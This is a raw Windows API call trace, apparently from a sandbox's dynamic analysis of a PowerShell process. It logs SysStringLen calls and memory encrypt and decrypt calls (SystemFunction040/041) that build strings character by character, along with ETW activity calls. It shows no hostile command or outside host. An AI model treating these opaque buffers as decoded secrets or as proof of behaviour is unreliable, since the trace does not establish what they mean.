(param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x4322\x6f91\xae85\xc767\x3bd6\x2652\xc211\x6e94") returned 0x20 [0128.391] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL솾넺럥") returned 0x20 [0128.391] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x3746\x8330\x718d\x8899\xbab1\x4708\xc842\xad1d") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x3746\x8330\x718d\x8899\xbab1\x4708\xc842\xad1d") returned 0x20 [0128.391] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL8넺럥") returned 0x20 [0128.391] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x2b59\xb12\x8f38\x877b\xa0c7\xe965\xe88\x69e8") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x2b59\xb12\x8f38\x877b\xa0c7\xe965\xe88\x69e8") returned 0x20 [0128.391] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89럥") returned 0x20 [0128.391] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\xefd4\xd3f0\x7a06\xcebb\xd456\xd8a2\x3ca2\x17c5") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\xefd4\xd3f0\x7a06\xcebb\xd456\xd8a2\x3ca2\x17c5") returned 0x20 [0128.391] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89r") returned 0x20 [0128.391] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1") returned 0x20 [0128.391] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1") returned 0x28 [0128.391] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rI줞趎靦흊椛㝁쐢") returned 0x28 [0128.392] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x5a51\xb7f5\x209\xaaed\x2a57\x5063\x447\x6489") returned 0x28 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x5a51\xb7f5\x209\xaaed\x2a57\x5063\x447\x6489") returned 0x28 [0128.392] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIA趎靦흊椛㝁쐢") returned 0x28 [0128.392] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xea48\x1c07\x9519\x909f\x75a5\x305c\x5229\x346d") returned 0x28 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xea48\x1c07\x9519\x909f\x75a5\x305c\x5229\x346d") returned 0x28 [0128.392] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAY靦흊椛㝁쐢") returned 0x28 [0128.392] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x79ba\xf92a\x5acc\x3ceb\xb638\x5363\xfd24\x2dff") returned 0x28 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x79ba\xf92a\x5acc\x3ceb\xb638\x5363\xfd24\x2dff") returned 0x28 [0128.392] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYs흊椛㝁쐢") returned 0x28 [0128.392] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.392] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xc76\x1c50\x90b6\x59fc\x3d25\xae69\xc457\xfde8") returned 0x28 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xc76\x1c50\x90b6\x59fc\x3d25\xae69\xc457\xfde8") returned 0x28 [0128.393] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsX椛㝁쐢") returned 0x28 [0128.393] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x6eea\x1127\xc4d7\x5165\xe061\xf927\x70\xe4f8") returned 0x28 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x6eea\x1127\xc4d7\x5165\xe061\xf927\x70\xe4f8") returned 0x28 [0128.393] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXg㝁쐢") returned 0x28 [0128.393] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xff14\x62ed\xb866\x70c2\xfe83\x22cf\xe826\xa57e") returned 0x28 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xff14\x62ed\xb866\x70c2\xfe83\x22cf\xe826\xa57e") returned 0x28 [0128.393] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgS쐢") returned 0x28 [0128.393] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xe1de\xc4b1\xe7f2\x28c6\x6825\x6e38\xdd94\x28c0") returned 0x28 [0128.393] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\xe1de\xc4b1\xe7f2\x28c6\x6825\x6e38\xdd94\x28c0") returned 0x28 [0128.393] SystemFunction041 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.393] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgSt") returned 0x28 [0128.393] SystemFunction040 (in: Memory=0x8e702b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e702b4) returned 0x0 [0128.394] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d") returned 0x28 [0128.394] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d") returned 0x28 [0128.394] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d") returned 0x28 [0128.394] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x77\x63\x67\x79\x4d\x34\x55\x2e") returned 0x30 [0128.394] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.394] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgSt4ꭳ촶곒伊ᄨ䂨") returned 0x30 [0128.394] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.394] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x4581\xeba4\x280\xee68\xe5c8\x69f4\x1f0f\xef9e") returned 0x30 [0128.395] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x4581\xeba4\x280\xee68\xe5c8\x69f4\x1f0f\xef9e") returned 0x30 [0128.395] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.395] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgSt4sꭳ촶곒伊ᄨ䂨") returned 0x30 [0128.395] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.395] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x236\x751d\x441c\xdc50\x8cc9\xaef9\x545d\x961b") returned 0x30 [0128.395] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x236\x751d\x441c\xdc50\x8cc9\xaef9\x545d\x961b") returned 0x30 [0128.395] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.395] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgSt4sw촶곒伊ᄨ䂨") returned 0x30 [0128.396] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.396] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x283c\x64ea\x206f\xe9f\xc86e\xd89\xfe3d\x195d") returned 0x30 [0128.396] SysStringLen (param_1="\x3689\x5037\x476d\x448\x6e7\xf450\xa68\xc3f2\xaa07\xb690\xfd79\x36bb\x24c6\x8417\x46ad\x7d2f\x85b3\xbd47\x8414\x41af\x2879\xd52b\xf4c1\x8736\x6e3\xc934\xfec6\x9660\x138a\x7d8e\x72ba\xf4f1\x1c47\x22db\x4b88\x131a\x5589\xcf6c\xc155\x797d\x283c\x64ea\x206f\xe9f\xc86e\xd89\xfe3d\x195d") returned 0x30 [0128.396] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.396] SysStringLen (param_1="kMAPGSxTttkjnp0jcymI++VD7jefL89rIAYsXgSt4sw=곒伊ᄨ䂨") returned 0x30 [0128.396] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.396] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.397] SysStringLen (param_1="") returned 0x8 [0128.397] SysStringLen (param_1="Y") returned 0x8 [0128.397] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.397] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.397] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.397] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.397] SysStringLen (param_1="YW") returned 0x8 [0128.397] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.397] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.397] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.397] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.397] SysStringLen (param_1="YWM") returned 0x8 [0128.397] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.397] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.398] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="YWM1") returned 0x8 [0128.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.398] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="YWM1O") returned 0x8 [0128.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.398] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0128.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="YWM1OT") returned 0x8 [0128.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.398] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0128.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="YWM1OTE") returned 0x8 [0128.398] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.398] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.398] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0128.398] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.399] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0128.399] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.399] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.399] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.399] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.399] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.399] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.399] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.399] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.399] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.399] SystemFunction041 